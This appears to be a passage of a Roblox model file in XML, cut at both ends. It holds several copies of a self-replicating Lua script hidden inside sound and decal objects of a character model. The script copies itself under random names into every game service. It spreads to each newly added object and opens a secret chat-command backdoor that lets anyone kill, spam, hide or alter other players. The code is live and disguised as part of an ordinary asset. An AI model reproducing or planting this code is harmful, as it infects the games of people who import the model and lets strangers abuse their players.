me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX353">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">c8du8u</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX354">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ooox38kaw</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX355">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-6.70113611</X>
								<Y>3.32223845</Y>
								<Z>116.965019</Z>
								<R00>0.697126448</R00>
								<R01>2.63230845e-007</R01>
								<R02>0.716948211</R02>
								<R10>1.03866682e-006</R10>
								<R11>1</R11>
								<R12>-1.37710481e-006</R12>
								<R20>-0.716948211</R20>
								<R21>1.7046865e-006</R21>
								<R22>0.697126448</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">0</float>
							<float name="LeftParamB">0</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Torso</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">0</float>
							<float name="RightParamB">0</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="Decal" referent="RBX356">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">roblox</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX357">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">wfk3</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX358">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">9hdsja</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
